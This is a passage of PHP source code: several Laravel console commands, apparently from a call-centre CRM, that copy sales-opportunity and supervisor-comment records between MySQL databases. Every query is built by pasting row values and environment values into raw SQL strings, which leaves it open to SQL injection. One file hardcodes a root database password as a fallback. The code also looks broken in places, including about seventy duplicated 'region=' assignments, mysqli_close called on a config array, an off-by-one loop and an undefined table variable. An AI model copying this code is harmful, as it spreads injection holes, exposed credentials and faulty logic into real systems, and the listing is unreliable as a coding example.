| 63 | Config::set("database.connections.conn", $conn); | ||
| 64 | |||
| 65 | |||
| 66 | if(DB::connection("conn")->getDatabaseName()) | ||
| 67 | { | ||
| 68 | |||
| 69 | $qlist=DB::connection("conn")->select(DB::raw("SELECT * from p11086_cop_rlp_cust_base_uat")); | ||
| 70 | |||
| 71 | $userarr=array(); | ||
| 72 | foreach($qlist as $qline) | ||
| 73 | { | ||
| 74 | |||
| 75 | $setstrarr=array(); | ||
| 76 | |||
| 77 | $setstrarr[]="region='$qline->region'"; | ||
| 78 | $setstrarr[]="unit='$qline->unit'"; | ||
| 79 | $setstrarr[]="supervisor='$qline->supervisor'"; | ||
| 80 | $setstrarr[]="region_head_name='$qline->region_head_name'"; | ||
| 81 | $setstrarr[]="pbcode='$qline->pbcode'"; | ||
| 82 | $setstrarr[]="cod_cust='$qline->cod_cust'"; | ||
| 83 | $setstrarr[]="group_id='$qline->group_id'"; | ||
| 84 | $setstrarr[]="total_connects='$qline->total_connects'"; | ||
| 85 | $setstrarr[]="total_uniq_connects='$qline->total_uniq_connects'"; | ||
| 86 | $setstrarr[]="crm_contact='$qline->crm_contact'"; | ||
| 87 | $setstrarr[]="al_qm_opp='$qline->al_qm_opp'"; | ||
| 88 | $setstrarr[]="al_upg_opp='$qline->al_upg_opp'"; | ||
| 89 | $setstrarr[]="al_al_cnc_opp='$qline->al_al_cnc_opp'"; | ||
| 90 | $setstrarr[]="al_pa_opp='$qline->al_pa_opp'"; | ||
| 91 | $setstrarr[]="al_zip_opp='$qline->al_zip_opp'"; | ||
| 92 | $setstrarr[]="al_called_opp='$qline->al_called_opp'"; | ||
| 93 | $setstrarr[]="al_pitch='$qline->al_pitch'"; | ||
| 94 | $setstrarr[]="al_lg='$qline->al_lg'"; | ||
| 95 | $setstrarr[]="pl_10sec_opp='$qline->pl_10sec_opp'"; | ||
| 96 | $setstrarr[]="pl_pa_opp='$qline->pl_pa_opp'"; | ||
| 97 | $setstrarr[]="pl_pq_opp='$qline->pl_pq_opp'"; | ||
| 98 | $setstrarr[]="bl_10sec_opp='$qline->bl_10sec_opp'"; | ||
| 99 | $setstrarr[]="bl_pq_opp='$qline->bl_pq_opp'"; | ||
| 100 | $setstrarr[]="pl_called_opp='$qline->pl_called_opp'"; | ||
| 101 | $setstrarr[]="pl_pitch='$qline->pl_pitch'"; | ||
| 102 | $setstrarr[]="pl_lg='$qline->pl_lg'"; | ||
| 103 | $setstrarr[]="twl_pa_opp='$qline->twl_pa_opp'"; | ||
| 104 | $setstrarr[]="twl_called_opp='$qline->twl_called_opp'"; | ||
| 105 | $setstrarr[]="twl_pitch='$qline->twl_pitch'"; | ||
| 106 | $setstrarr[]="twl_lg='$qline->twl_lg'"; | ||
| 107 | $setstrarr[]="hl_bt_opp='$qline->hl_bt_opp'"; | ||
| 108 | $setstrarr[]="hl_pq_opp='$qline->hl_pq_opp'"; | ||
| 109 | $setstrarr[]="hl_called_opp='$qline->hl_called_opp'"; | ||
| 110 | $setstrarr[]="hl_pitch='$qline->hl_pitch'"; | ||
| 111 | $setstrarr[]="hl_lg='$qline->hl_lg'"; | ||
| 112 | $setstrarr[]="gl_pitch='$qline->gl_pitch'"; | ||
| 113 | $setstrarr[]="gl_lg='$qline->gl_lg'"; | ||
| 114 | $setstrarr[]="las_opp='$qline->las_opp'"; | ||
| 115 | $setstrarr[]="las_called_opp='$qline->las_called_opp'"; | ||
| 116 | $setstrarr[]="las_pitch='$qline->las_pitch'"; | ||
| 117 | $setstrarr[]="las_lg='$qline->las_lg'"; | ||
| 118 | $setstrarr[]="lap_opp='$qline->lap_opp'"; | ||
| 119 | $setstrarr[]="lap_called_opp='$qline->lap_called_opp'"; | ||
| 120 | $setstrarr[]="lap_lg='$qline->lap_lg'"; | ||
| 121 | $setstrarr[]="hsl_opp='$qline->hsl_opp'"; | ||
| 122 | $setstrarr[]="hsl_called_opp='$qline->hsl_called_opp'"; | ||
| 123 | $setstrarr[]="hsl_pitch='$qline->hsl_pitch'"; | ||
| 124 | $setstrarr[]="cc_eli_new_opp='$qline->cc_eli_new_opp'"; | ||
| 125 | $setstrarr[]="cc_called_opp='$qline->cc_called_opp'"; | ||
| 126 | $setstrarr[]="cc_pitch='$qline->cc_pitch'"; | ||
| 127 | $setstrarr[]="region='$qline->region'"; | ||
| 128 | $setstrarr[]="region='$qline->region'"; | ||
| 129 | $setstrarr[]="region='$qline->region'"; | ||
| 130 | $setstrarr[]="region='$qline->region'"; | ||
| 131 | $setstrarr[]="region='$qline->region'"; | ||
| 132 | $setstrarr[]="region='$qline->region'"; | ||
| 133 | $setstrarr[]="region='$qline->region'"; | ||
| 134 | $setstrarr[]="region='$qline->region'"; | ||
| 135 | $setstrarr[]="region='$qline->region'"; | ||
| 136 | $setstrarr[]="region='$qline->region'"; | ||
| 137 | $setstrarr[]="region='$qline->region'"; | ||
| 138 | $setstrarr[]="region='$qline->region'"; | ||
| 139 | $setstrarr[]="region='$qline->region'"; | ||
| 140 | $setstrarr[]="region='$qline->region'"; | ||
| 141 | $setstrarr[]="region='$qline->region'"; | ||
| 142 | $setstrarr[]="region='$qline->region'"; | ||
| 143 | $setstrarr[]="region='$qline->region'"; | ||
| 144 | $setstrarr[]="region='$qline->region'"; | ||
| 145 | $setstrarr[]="region='$qline->region'"; | ||
| 146 | $setstrarr[]="region='$qline->region'"; | ||
| 147 | $setstrarr[]="region='$qline->region'"; | ||
| 148 | $setstrarr[]="region='$qline->region'"; | ||
| 149 | $setstrarr[]="region='$qline->region'"; | ||
| 150 | $setstrarr[]="region='$qline->region'"; | ||
| 151 | $setstrarr[]="region='$qline->region'"; | ||
| 152 | $setstrarr[]="region='$qline->region'"; | ||
| 153 | $setstrarr[]="region='$qline->region'"; | ||
| 154 | $setstrarr[]="region='$qline->region'"; | ||
| 155 | $setstrarr[]="region='$qline->region'"; | ||
| 156 | $setstrarr[]="region='$qline->region'"; | ||
| 157 | $setstrarr[]="region='$qline->region'"; | ||
| 158 | $setstrarr[]="region='$qline->region'"; | ||
| 159 | $setstrarr[]="region='$qline->region'"; | ||
| 160 | $setstrarr[]="region='$qline->region'"; | ||
| 161 | $setstrarr[]="region='$qline->region'"; | ||
| 162 | $setstrarr[]="region='$qline->region'"; | ||
| 163 | $setstrarr[]="region='$qline->region'"; | ||
| 164 | $setstrarr[]="region='$qline->region'"; | ||
| 165 | $setstrarr[]="region='$qline->region'"; | ||
| 166 | $setstrarr[]="region='$qline->region'"; | ||
| 167 | $setstrarr[]="region='$qline->region'"; | ||
| 168 | $setstrarr[]="region='$qline->region'"; | ||
| 169 | $setstrarr[]="region='$qline->region'"; | ||
| 170 | $setstrarr[]="region='$qline->region'"; | ||
| 171 | $setstrarr[]="region='$qline->region'"; | ||
| 172 | $setstrarr[]="region='$qline->region'"; | ||
| 173 | $setstrarr[]="region='$qline->region'"; | ||
| 174 | $setstrarr[]="region='$qline->region'"; | ||
| 175 | $setstrarr[]="region='$qline->region'"; | ||
| 176 | $setstrarr[]="region='$qline->region'"; | ||
| 177 | $setstrarr[]="region='$qline->region'"; | ||
| 178 | $setstrarr[]="region='$qline->region'"; | ||
| 179 | $setstrarr[]="region='$qline->region'"; | ||
| 180 | $setstrarr[]="region='$qline->region'"; | ||
| 181 | $setstrarr[]="region='$qline->region'"; | ||
| 182 | $setstrarr[]="region='$qline->region'"; | ||
| 183 | $setstrarr[]="region='$qline->region'"; | ||
| 184 | $setstrarr[]="region='$qline->region'"; | ||
| 185 | $setstrarr[]="region='$qline->region'"; | ||
| 186 | $setstrarr[]="region='$qline->region'"; | ||
| 187 | $setstrarr[]="region='$qline->region'"; | ||
| 188 | $setstrarr[]="region='$qline->region'"; | ||
| 189 | $setstrarr[]="region='$qline->region'"; | ||
| 190 | $setstrarr[]="region='$qline->region'"; | ||
| 191 | $setstrarr[]="region='$qline->region'"; | ||
| 192 | $setstrarr[]="region='$qline->region'"; | ||
| 193 | $setstrarr[]="region='$qline->region'"; | ||
| 194 | $setstrarr[]="region='$qline->region'"; | ||
| 195 | $setstrarr[]="region='$qline->region'"; | ||
| 196 | $setstrarr[]="region='$qline->region'"; | ||
| 197 | |||
| 198 | |||
| 199 | |||
| 200 | $setstr=implode(",",$setstrarr); | ||
| 201 | |||
| 202 | DB::insert(DB::raw("insert into $p11086_cop_rlp_cust_base_uat set $setstr")); | ||
| 203 | |||
| 204 | } | ||
| 205 | DB::connection("conn")->disconnect(); | ||
| 206 | |||
| 207 | } | ||
| 208 | |||
| 209 | } | ||
| 210 | |||
| 211 | |||
| 212 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class rlppb_details extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'rlppb_details'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'rlppb_details'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $p11086_cop_rlp_pb_base_uat = "p11086_cop_rlp_pb_base_uat"; | ||
| 48 | $central_ip=env('central_ip'); | ||
| 49 | |||
| 50 | $conn = array( | ||
| 51 | 'driver' => 'mysql', | ||
| 52 | 'host' => $central_ip, | ||
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 54 | 'username' => env('DB_USERNAME', 'root'), | ||
| 55 | 'password' => env('DB_PASSWORD', ''), | ||
| 56 | 'charset' => 'utf8', | ||
| 57 | 'collation' => 'utf8_unicode_ci', | ||
| 58 | 'prefix' => '', | ||
| 59 | 'options' => array( | ||
| 60 | PDO::ATTR_TIMEOUT => 5, | ||
| 61 | ), | ||
| 62 | ); | ||
| 63 | Config::set("database.connections.conn", $conn); | ||
| 64 | |||
| 65 | |||
| 66 | if(DB::connection("conn")->getDatabaseName()) | ||
| 67 | { | ||
| 68 | |||
| 69 | $qlist=DB::connection("conn")->select(DB::raw("SELECT * from p11086_cop_rlp_pb_base_uat")); | ||
| 70 | |||
| 71 | $userarr=array(); | ||
| 72 | foreach($qlist as $qline) | ||
| 73 | { | ||
| 74 | |||
| 75 | $setstrarr=array(); | ||
| 76 | |||
| 77 | $setstrarr[]="region='$qline->region'"; | ||
| 78 | $setstrarr[]="unit='$qline->unit'"; | ||
| 79 | $setstrarr[]="supervisor='$qline->supervisor'"; | ||
| 80 | $setstrarr[]="region_head_name='$qline->region_head_name'"; | ||
| 81 | $setstrarr[]="pbcode='$qline->pbcode'"; | ||
| 82 | $setstrarr[]="no_of_cod_cust='$qline->no_of_cod_cust'"; | ||
| 83 | $setstrarr[]="no_of_grp_id='$qline->no_of_grp_id'"; | ||
| 84 | $setstrarr[]="total_connects='$qline->total_connects'"; | ||
| 85 | $setstrarr[]="total_uniq_connects='$qline->total_uniq_connects'"; | ||
| 86 | $setstrarr[]="crm_contact='$qline->crm_contact'"; | ||
| 87 | $setstrarr[]="varience='$qline->varience'"; | ||
| 88 | $setstrarr[]="al_qm_opp='$qline->al_qm_opp'"; | ||
| 89 | $setstrarr[]="al_upg_opp='$qline->al_upg_opp'"; | ||
| 90 | $setstrarr[]="al_al_cnc_opp='$qline->al_al_cnc_opp'"; | ||
| 91 | $setstrarr[]="al_pa_opp='$qline->al_pa_opp'"; | ||
| 92 | $setstrarr[]="al_zip_opp='$qline->al_zip_opp'"; | ||
| 93 | $setstrarr[]="al_called_opp='$qline->al_called_opp'"; | ||
| 94 | $setstrarr[]="al_pitch='$qline->al_pitch'"; | ||
| 95 | $setstrarr[]="al_pitch_with_opp='$qline->al_pitch_with_opp'"; | ||
| 96 | $setstrarr[]="al_pitch_with_out_opp='$qline->al_pitch_with_out_opp'"; | ||
| 97 | $setstrarr[]="al_lg='$qline->al_lg'"; | ||
| 98 | $setstrarr[]="pl_10sec_opp='$qline->pl_10sec_opp'"; | ||
| 99 | $setstrarr[]="pl_pa_opp='$qline->pl_pa_opp'"; | ||
| 100 | $setstrarr[]="pl_pq_opp='$qline->pl_pq_opp'"; | ||
| 101 | $setstrarr[]="bl_10sec_opp='$qline->bl_10sec_opp'"; | ||
| 102 | $setstrarr[]="bl_pq_opp='$qline->bl_pq_opp'"; | ||
| 103 | $setstrarr[]="pl_called_opp='$qline->pl_called_opp'"; | ||
| 104 | $setstrarr[]="pl_pitch='$qline->pl_pitch'"; | ||
| 105 | $setstrarr[]="pl_pitch_with_opp='$qline->pl_pitch_with_opp'"; | ||
| 106 | $setstrarr[]="pl_pitch_with_out_opp='$qline->pl_pitch_with_out_opp'"; | ||
| 107 | $setstrarr[]="pl_lg='$qline->pl_lg'"; | ||
| 108 | $setstrarr[]="twl_pa_opp='$qline->twl_pa_opp'"; | ||
| 109 | $setstrarr[]="twl_called_opp='$qline->twl_called_opp'"; | ||
| 110 | $setstrarr[]="twl_pitch='$qline->twl_pitch'"; | ||
| 111 | $setstrarr[]="twl_pitch_with_opp='$qline->twl_pitch_with_opp'"; | ||
| 112 | $setstrarr[]="twl_pitch_with_out_opp='$qline->twl_pitch_with_out_opp'"; | ||
| 113 | $setstrarr[]="twl_lg='$qline->twl_lg'"; | ||
| 114 | $setstrarr[]="hl_pq_opp='$qline->hl_pq_opp'"; | ||
| 115 | $setstrarr[]="hl_bt_opp='$qline->hl_bt_opp'"; | ||
| 116 | $setstrarr[]="hl_called_opp='$qline->hl_called_opp'"; | ||
| 117 | $setstrarr[]="hl_pitch='$qline->hl_pitch'"; | ||
| 118 | $setstrarr[]="hl_pitch_with_opp='$qline->hl_pitch_with_opp'"; | ||
| 119 | $setstrarr[]="hl_pitch_with_out_opp='$qline->hl_pitch_with_out_opp'"; | ||
| 120 | $setstrarr[]="hl_lg='$qline->hl_lg'"; | ||
| 121 | $setstrarr[]="gl_pitch='$qline->gl_pitch'"; | ||
| 122 | $setstrarr[]="gl_lg='$qline->gl_lg'"; | ||
| 123 | $setstrarr[]="las_opp='$qline->las_opp'"; | ||
| 124 | $setstrarr[]="las_called_opp='$qline->las_called_opp'"; | ||
| 125 | $setstrarr[]="las_pitch='$qline->las_pitch'"; | ||
| 126 | $setstrarr[]="las_pitch_with_opp='$qline->las_pitch_with_opp'"; | ||
| 127 | $setstrarr[]="las_pitch_with_out_opp='$qline->las_pitch_with_out_opp'"; | ||
| 128 | $setstrarr[]="las_lg='$qline->las_lg'"; | ||
| 129 | $setstrarr[]="lap_opp='$qline->lap_opp'"; | ||
| 130 | $setstrarr[]="lap_called_opp='$qline->lap_called_opp'"; | ||
| 131 | $setstrarr[]="lap_lg='$qline->lap_lg'"; | ||
| 132 | $setstrarr[]="hsl_opp='$qline->hsl_opp'"; | ||
| 133 | $setstrarr[]="hsl_called_opp='$qline->hsl_called_opp'"; | ||
| 134 | $setstrarr[]="hsl_pitch='$qline->hsl_pitch'"; | ||
| 135 | $setstrarr[]="hsl_pitch_with_opp='$qline->hsl_pitch_with_opp'"; | ||
| 136 | $setstrarr[]="hsl_pitch_with_out_opp='$qline->hsl_pitch_with_out_opp'"; | ||
| 137 | $setstrarr[]="cc_eli_new_opp='$qline->cc_eli_new_opp'"; | ||
| 138 | $setstrarr[]="cc_called_opp='$qline->cc_called_opp'"; | ||
| 139 | $setstrarr[]="cc_pitch='$qline->cc_pitch'"; | ||
| 140 | $setstrarr[]="cc_pitch_with_opp='$qline->cc_pitch_with_opp'"; | ||
| 141 | $setstrarr[]="cc_pitch_with_out_opp='$qline->cc_pitch_with_out_opp'"; | ||
| 142 | $setstrarr[]="cc_lg='$qline->cc_lg'"; | ||
| 143 | $setstrarr[]="cc_activation_opp='$qline->cc_activation_opp'"; | ||
| 144 | $setstrarr[]="cc_activation_called_opp='$qline->cc_activation_called_opp'"; | ||
| 145 | $setstrarr[]="li_opp='$qline->li_opp'"; | ||
| 146 | $setstrarr[]="li_called_opp='$qline->li_called_opp'"; | ||
| 147 | $setstrarr[]="fd_opp='$qline->fd_opp'"; | ||
| 148 | $setstrarr[]="fd_called_opp='$qline->fd_called_opp'"; | ||
| 149 | $setstrarr[]="fd_pitch='$qline->fd_pitch'"; | ||
| 150 | $setstrarr[]="fd_pitch_with_opp='$qline->fd_pitch_with_opp'"; | ||
| 151 | $setstrarr[]="fd_pitch_with_out_opp='$qline->fd_pitch_with_out_opp'"; | ||
| 152 | $setstrarr[]="ltd_act_saving_opp='$qline->ltd_act_saving_opp'"; | ||
| 153 | $setstrarr[]="ltd_act_saving_called_opp='$qline->ltd_act_saving_called_opp'"; | ||
| 154 | $setstrarr[]="mb_opp='$qline->mb_opp'"; | ||
| 155 | $setstrarr[]="mb_called_opp='$qline->mb_called_opp'"; | ||
| 156 | $setstrarr[]="mb_pitch='$qline->mb_pitch'"; | ||
| 157 | $setstrarr[]="mb_pitch_with_opp='$qline->mb_pitch_with_opp'"; | ||
| 158 | $setstrarr[]="mb_pitch_with_out_opp='$qline->mb_pitch_with_out_opp'"; | ||
| 159 | $setstrarr[]="nb_mb_lg='$qline->nb_mb_lg'"; | ||
| 160 | $setstrarr[]="aadhaar_opp='$qline->aadhaar_opp'"; | ||
| 161 | $setstrarr[]="aadhaar_called_opp='$qline->aadhaar_called_opp'"; | ||
| 162 | $setstrarr[]="aadhaar_pitch='$qline->aadhaar_pitch'"; | ||
| 163 | $setstrarr[]="aadhaar_pitch_with_opp='$qline->aadhaar_pitch_with_opp'"; | ||
| 164 | $setstrarr[]="aadhaar_pitch_with_out_opp='$qline->aadhaar_pitch_with_out_opp'"; | ||
| 165 | $setstrarr[]="aadhaar_activation='$qline->aadhaar_activation'"; | ||
| 166 | $setstrarr[]="digi2_score_opp='$qline->digi2_score_opp'"; | ||
| 167 | $setstrarr[]="digi2_score_called_opp='$qline->digi2_score_called_opp'"; | ||
| 168 | $setstrarr[]="digi_physical_opp='$qline->digi_physical_opp'"; | ||
| 169 | $setstrarr[]="digi_physical_called_opp='$qline->digi_physical_called_opp'"; | ||
| 170 | $setstrarr[]="digi_billpay_opp='$qline->digi_billpay_opp'"; | ||
| 171 | $setstrarr[]="digi_billpay_called_opp='$qline->digi_billpay_called_opp'"; | ||
| 172 | $setstrarr[]="bill_pay_pitch='$qline->bill_pay_pitch'"; | ||
| 173 | $setstrarr[]="digi_bill_pay_pitch_with_opp='$qline->digi_bill_pay_pitch_with_opp'"; | ||
| 174 | $setstrarr[]="digi_bill_pay_pitch_with_out_opp='$qline->digi_bill_pay_pitch_with_out_opp'"; | ||
| 175 | $setstrarr[]="digi_basic_banking_opp='$qline->digi_basic_banking_opp'"; | ||
| 176 | $setstrarr[]="digi_basic_banking_called_opp='$qline->digi_basic_banking_called_opp'"; | ||
| 177 | $setstrarr[]="digi_ecom_shopping_opp='$qline->digi_ecom_shopping_opp'"; | ||
| 178 | $setstrarr[]="digi_ecom_shopping_called_opp='$qline->digi_ecom_shopping_called_opp'"; | ||
| 179 | $setstrarr[]="digi_investment_opp='$qline->digi_investment_opp'"; | ||
| 180 | $setstrarr[]="digi_investment_called_opp='$qline->digi_investment_called_opp'"; | ||
| 181 | $setstrarr[]="invest_pitch='$qline->invest_pitch'"; | ||
| 182 | $setstrarr[]="digi_investment_pitch_with_opp='$qline->digi_investment_pitch_with_opp'"; | ||
| 183 | $setstrarr[]="digi_investment_pitch_with_out_opp='$qline->digi_investment_pitch_with_out_opp'"; | ||
| 184 | |||
| 185 | |||
| 186 | $setstr=implode(",",$setstrarr); | ||
| 187 | |||
| 188 | DB::insert(DB::raw("insert into $p11086_cop_rlp_pb_base_uat set $setstr")); | ||
| 189 | |||
| 190 | } | ||
| 191 | DB::connection("conn")->disconnect(); | ||
| 192 | |||
| 193 | } | ||
| 194 | |||
| 195 | } | ||
| 196 | |||
| 197 | |||
| 198 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | use App\Models\Notification; | ||
| 15 | use App\Jobs\KHRMSLib; | ||
| 16 | |||
| 17 | use Input; | ||
| 18 | |||
| 19 | use Illuminate\Database\Schema\Blueprint; | ||
| 20 | |||
| 21 | class bulkServerUpload extends Command { | ||
| 22 | |||
| 23 | /** | ||
| 24 | * The console command name. | ||
| 25 | * | ||
| 26 | * @var string | ||
| 27 | */ | ||
| 28 | protected $signature = 'bulkServerUpload'; | ||
| 29 | |||
| 30 | /** | ||
| 31 | * The console command description. | ||
| 32 | * | ||
| 33 | * @var string | ||
| 34 | */ | ||
| 35 | protected $description = 'bulkServerUpload'; | ||
| 36 | |||
| 37 | /** | ||
| 38 | * Execute the console command. | ||
| 39 | * | ||
| 40 | * @return mixed | ||
| 41 | */ | ||
| 42 | public function handle() | ||
| 43 | { | ||
| 44 | |||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | |||
| 48 | $wakka = new KHRMSLib(); | ||
| 49 | |||
| 50 | $kformlib=new \App\Jobs\KFormLib($wakka->HRCoreVars["HRFiledsStr"]); | ||
| 51 | $kformlib->gthis=$wakka; | ||
| 52 | |||
| 53 | $themehome=$wakka->GetThemePath('/'); | ||
| 54 | $updatetime=time(); | ||
| 55 | |||
| 56 | $clientlst=$wakka->GetBBBUserData("clientslist"); | ||
| 57 | |||
| 58 | $isadmin=$wakka->IsAdmin(); | ||
| 59 | $username=$wakka->GetUserName(); | ||
| 60 | $triggers=Input::get("triggers"); | ||
| 61 | $tmpstr=explode(",",$kformlib->HRFiledsStr); | ||
| 62 | |||
| 63 | $success="";$message="";$successcnt=0;$duplicatecount=0; | ||
| 64 | |||
| 65 | |||
| 66 | $conn = array( | ||
| 67 | 'driver' => 'mysql', | ||
| 68 | 'host' => $central_ip, | ||
| 69 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 70 | 'username' => env('DB_USERNAME', 'root'), | ||
| 71 | 'password' => env('DB_PASSWORD', 'yb9738z'), | ||
| 72 | 'charset' => 'utf8', | ||
| 73 | 'collation' => 'utf8_unicode_ci', | ||
| 74 | 'prefix' => '', | ||
| 75 | 'options' => array( | ||
| 76 | PDO::ATTR_TIMEOUT => 5, | ||
| 77 | ), | ||
| 78 | ); | ||
| 79 | Config::set("database.connections.conn", $conn); | ||
| 80 | |||
| 81 | DB::connection("conn")->getDatabaseName(); | ||
| 82 | |||
| 83 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' and client='G4015' order by auto_id asc limit 0,20000")); | ||
| 84 | |||
| 85 | foreach($excelarray as $key => $array){ | ||
| 86 | $excelarray[$key] = (array)$array; | ||
| 87 | } | ||
| 88 | |||
| 89 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat'")); | ||
| 90 | $highestColumn = $highestColumn[0]->cnt; | ||
| 91 | |||
| 92 | $highestrow = count($excelarray); | ||
| 93 | |||
| 94 | $flag = 0; | ||
| 95 | $editflag=0; | ||
| 96 | |||
| 97 | for($i=0;$i<=$highestrow;$i++) | ||
| 98 | { | ||
| 99 | if($excelarray[$i]["id"]!="") | ||
| 100 | { | ||
| 101 | if($excelarray[$i]["id"]=="CREATE") | ||
| 102 | { | ||
| 103 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | ||
| 104 | } | ||
| 105 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | ||
| 106 | |||
| 107 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | ||
| 108 | { | ||
| 109 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | ||
| 110 | $ppldata=$empdata["peopledata"]; | ||
| 111 | $createdlog=$empdata['modifylog']; | ||
| 112 | $fdirty=$empdata['dirty']; | ||
| 113 | |||
| 114 | $createdlog[$updatetime]=$username."::"; | ||
| 115 | $createdlog["updated"]=$updatetime; | ||
| 116 | |||
| 117 | $newdata=$ppldata; | ||
| 118 | foreach($excelarray[$i] as $key => $value) | ||
| 119 | { | ||
| 120 | if($value!="") | ||
| 121 | { | ||
| 122 | if("A".$ppldata[$key]!="A".$value)//forcing string comparrision //MAGIC | ||
| 123 | { | ||
| 124 | $value=str_replace("'"," ",$value); | ||
| 125 | if(strstr($createdlog[$updatetime],$key)==FALSE)$createdlog[$updatetime].="$key|".str_replace(array("|",",")," ",$ppldata[$key])."|".str_replace(array("|",",")," ",$value).","; | ||
| 126 | |||
| 127 | $fdirty[$key]=1; | ||
| 128 | |||
| 129 | $newdata[$key]=$value; | ||
| 130 | } | ||
| 131 | } | ||
| 132 | } | ||
| 133 | $empdata["peopledata"]=$newdata; | ||
| 134 | $empdata['modifylog']=$createdlog; | ||
| 135 | $empdata['dirty']=$fdirty; | ||
| 136 | |||
| 137 | $wakka->setPerson($excelarray[$i]["id"],$empdata); | ||
| 138 | $excelarray[$i]['modified']=date('Y-m-d H:i:s'); | ||
| 139 | |||
| 140 | } | ||
| 141 | } | ||
| 142 | |||
| 143 | } | ||
| 144 | mysqli_close($conn); | ||
| 145 | |||
| 146 | |||
| 147 | } | ||
| 148 | } | ||
| 149 | |||
| 150 | |||
| 151 | |||
| 152 |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class supervisor_agent_rec extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'supervisor_agent_rec'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'supervisor_agent_rec'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $supervisor_recommendation = "supervisor_recommendation"; | ||
| 48 | $central_ip=env('central_ip'); | ||
| 49 | |||
| 50 | $conn = array( | ||
| 51 | 'driver' => 'mysql', | ||
| 52 | 'host' => $central_ip, | ||
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 54 | 'username' => env('DB_USERNAME', 'root'), | ||
| 55 | 'password' => env('DB_PASSWORD', ''), | ||
| 56 | 'charset' => 'utf8', | ||
| 57 | 'collation' => 'utf8_unicode_ci', | ||
| 58 | 'prefix' => '', | ||
| 59 | 'options' => array( | ||
| 60 | PDO::ATTR_TIMEOUT => 5, | ||
| 61 | ), | ||
| 62 | ); | ||
| 63 | Config::set("database.connections.conn", $conn); | ||
| 64 | |||
| 65 | |||
| 66 | if(DB::connection("conn")->getDatabaseName()) | ||
| 67 | { | ||
| 68 | |||
| 69 | $serverclist=DB::connection("conn")->select(DB::raw("select * from server_details where server_ip='$server_ip'")); | ||
| 70 | $server_id=$serverclist[0]->id; | ||
| 71 | if($server_id<10){ | ||
| 72 | $server_id="0".$server_id; | ||
| 73 | } | ||
| 74 | |||
| 75 | echo ",".$server_id; | ||
| 76 | |||
| 77 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(local_id) as maxid from $supervisor_recommendation where server_id='$server_id'")); | ||
| 78 | |||
| 79 | $maxids=$maxid[0]->maxid; | ||
| 80 | |||
| 81 | |||
| 82 | $qlist=DB::select(DB::raw("SELECT * from DU_CRM_SUPERVISOR_COMMENTS where id>'$maxids'")); | ||
| 83 | |||
| 84 | $userarr=array(); | ||
| 85 | foreach($qlist as $qline) | ||
| 86 | { | ||
| 87 | |||
| 88 | $setstrarr=array(); | ||
| 89 | |||
| 90 | $setstrarr[]="local_id='$qline->id'"; | ||
| 91 | $setstrarr[]="updated_at='$qline->updated_at'"; | ||
| 92 | $setstrarr[]="V_CUSTID='$qline->V_CUSTID'"; | ||
| 93 | $setstrarr[]="V_GROUPID='$qline->V_GROUPID'"; | ||
